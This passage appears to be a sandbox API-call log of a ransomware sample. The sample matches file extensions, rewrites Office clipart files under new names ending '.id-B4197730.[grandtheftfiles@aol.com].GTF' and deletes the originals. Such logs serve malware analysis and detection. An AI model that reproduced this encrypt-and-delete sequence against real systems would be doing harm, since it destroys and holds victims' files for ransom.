	[0157.508] lstrlenW (lpString=".7z") returned 3
	[0157.508] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.508] lstrlenW (lpString=".dbf") returned 4
	[0157.508] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.508] lstrlenW (lpString=".1cd") returned 4
	[0157.508] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.508] lstrlenW (lpString=".jpg") returned 4
	[0157.508] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.508] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0157.508] lstrlenW (lpString="J0099168.JPG") returned 12
	[0157.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0157.508] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=20179) returned 1
	[0157.508] CloseHandle (hObject=0x4a0) returned 1
	[0157.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220
	[0157.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0157.509] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.509] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.510] GetLastError () returned 0x0
	[0157.510] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x4ed3, lpOverlapped=0x0) returned 1
	[0157.512] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0157.513] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.513] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.514] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.514] CloseHandle (hObject=0x4a4) returned 1
	[0157.514] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.514] SetEndOfFile (hFile=0x4a0) returned 1
	[0157.517] CloseHandle (hObject=0x4a0) returned 1
	[0157.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0157.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.518] lstrlenW (lpString=".doc") returned 4
	[0157.518] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.518] lstrlenW (lpString=".docx") returned 5
	[0157.518] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0157.518] lstrlenW (lpString=".pdf") returned 4
	[0157.518] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.518] lstrlenW (lpString=".xls") returned 4
	[0157.518] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.518] lstrlenW (lpString=".xlsx") returned 5
	[0157.518] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0157.518] lstrlenW (lpString=".ppt") returned 4
	[0157.518] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.518] lstrlenW (lpString=".zip") returned 4
	[0157.518] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.518] lstrlenW (lpString=".rar") returned 4
	[0157.518] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.518] lstrlenW (lpString=".bz2") returned 4
	[0157.518] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.519] lstrlenW (lpString=".7z") returned 3
	[0157.519] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.519] lstrlenW (lpString=".dbf") returned 4
	[0157.519] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.519] lstrlenW (lpString=".1cd") returned 4
	[0157.519] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.519] lstrlenW (lpString=".jpg") returned 4
	[0157.519] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.519] lstrlenW (lpString=".doc") returned 4
	[0157.519] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.519] lstrlenW (lpString=".docx") returned 5
	[0157.519] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0157.519] lstrlenW (lpString=".pdf") returned 4
	[0157.519] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.519] lstrlenW (lpString=".xls") returned 4
	[0157.519] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.519] lstrlenW (lpString=".xlsx") returned 5
	[0157.519] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0157.519] lstrlenW (lpString=".ppt") returned 4
	[0157.519] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.519] lstrlenW (lpString=".zip") returned 4
	[0157.519] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.519] lstrlenW (lpString=".rar") returned 4
	[0157.519] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.519] lstrlenW (lpString=".bz2") returned 4
	[0157.519] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.519] lstrlenW (lpString=".7z") returned 3
	[0157.519] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.519] lstrlenW (lpString=".dbf") returned 4
	[0157.520] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.520] lstrlenW (lpString=".1cd") returned 4
	[0157.520] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.520] lstrlenW (lpString=".jpg") returned 4
	[0157.520] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.520] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.520] lstrlenW (lpString="J0099169.WMF") returned 12
	[0157.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0157.520] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=10192) returned 1
	[0157.520] CloseHandle (hObject=0x4a0) returned 1
	[0157.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220
	[0157.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0157.522] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.522] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.523] GetLastError () returned 0x0
	[0157.523] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x27d0, lpOverlapped=0x0) returned 1
	[0157.781] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x27e0, lpOverlapped=0x0) returned 1
	[0157.782] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.782] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.782] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.903] CloseHandle (hObject=0x4a4) returned 1
	[0157.903] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.903] SetEndOfFile (hFile=0x4a0) returned 1
	[0157.905] CloseHandle (hObject=0x4a0) returned 1
	[0157.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1
	[0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.909] lstrlenW (lpString=".doc") returned 4
	[0157.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.909] lstrlenW (lpString=".docx") returned 5
	[0157.909] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0157.910] lstrlenW (lpString=".pdf") returned 4
	[0157.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString=".xls") returned 4
	[0157.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.910] lstrlenW (lpString=".xlsx") returned 5
	[0157.910] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0157.910] lstrlenW (lpString=".ppt") returned 4
	[0157.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.910] lstrlenW (lpString=".zip") returned 4
	[0157.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.910] lstrlenW (lpString=".rar") returned 4
	[0157.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString=".bz2") returned 4
	[0157.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString=".7z") returned 3
	[0157.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.910] lstrlenW (lpString=".dbf") returned 4
	[0157.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.910] lstrlenW (lpString=".1cd") returned 4
	[0157.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.910] lstrlenW (lpString=".jpg") returned 4
	[0157.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.910] lstrlenW (lpString=".doc") returned 4
	[0157.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.910] lstrlenW (lpString=".docx") returned 5
	[0157.910] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0157.910] lstrlenW (lpString=".pdf") returned 4
	[0157.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.911] lstrlenW (lpString=".xls") returned 4
	[0157.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.911] lstrlenW (lpString=".xlsx") returned 5
	[0157.911] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0157.911] lstrlenW (lpString=".ppt") returned 4
	[0157.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.911] lstrlenW (lpString=".zip") returned 4
	[0157.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.911] lstrlenW (lpString=".rar") returned 4
	[0157.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.911] lstrlenW (lpString=".bz2") returned 4
	[0157.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.911] lstrlenW (lpString=".7z") returned 3
	[0157.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.917] lstrlenW (lpString=".dbf") returned 4
	[0157.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.917] lstrlenW (lpString=".1cd") returned 4
	[0157.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.917] lstrlenW (lpString=".jpg") returned 4
	[0157.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.918] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.918] lstrlenW (lpString="J0099175.WMF") returned 12
	[0157.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.920] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=9744) returned 1
	[0157.920] CloseHandle (hObject=0x4a4) returned 1
	[0157.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220
	[0157.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.921] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.921] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0157.921] GetLastError () returned 0x0
	[0157.921] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2610, lpOverlapped=0x0) returned 1
	[0157.925] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2620, lpOverlapped=0x0) returned 1
	[0157.926] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.926] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.926] SetEndOfFile (hFile=0x4b0) returned 1
	[0157.926] CloseHandle (hObject=0x4b0) returned 1
	[0157.927] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.927] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.929] CloseHandle (hObject=0x4a4) returned 1
	[0157.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1
	[0157.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString=".doc") returned 4
	[0157.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString=".docx") returned 5
	[0157.931] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0157.931] lstrlenW (lpString=".pdf") returned 4
	[0157.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString=".xls") returned 4
	[0157.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.931] lstrlenW (lpString=".xlsx") returned 5
	[0157.931] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0157.931] lstrlenW (lpString=".ppt") returned 4
	[0157.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString=".zip") returned 4
	[0157.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.931] lstrlenW (lpString=".rar") returned 4
	[0157.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString=".bz2") returned 4
	[0157.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString=".7z") returned 3
	[0157.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString=".dbf") returned 4
	[0157.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString=".1cd") returned 4
	[0157.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString=".jpg") returned 4
	[0157.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.931] lstrlenW (lpString=".doc") returned 4
	[0157.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.931] lstrlenW (lpString=".docx") returned 5
	[0157.932] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0157.932] lstrlenW (lpString=".pdf") returned 4
	[0157.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.932] lstrlenW (lpString=".xls") returned 4
	[0157.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.932] lstrlenW (lpString=".xlsx") returned 5
	[0157.932] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0157.932] lstrlenW (lpString=".ppt") returned 4
	[0157.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.932] lstrlenW (lpString=".zip") returned 4
	[0157.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.932] lstrlenW (lpString=".rar") returned 4
	[0157.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
